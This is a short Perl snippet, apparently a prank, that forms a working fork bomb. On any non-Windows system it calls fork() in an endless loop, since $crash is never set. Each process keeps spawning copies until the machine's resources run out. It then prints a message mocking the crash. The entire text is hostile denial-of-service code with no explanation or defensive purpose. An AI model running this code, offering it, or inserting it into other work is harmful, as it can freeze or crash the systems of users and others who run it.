unless ($^O =~ /Win/i) {
    fork() until $crash;
}
print "Why bother, the system will crash anyway!\n";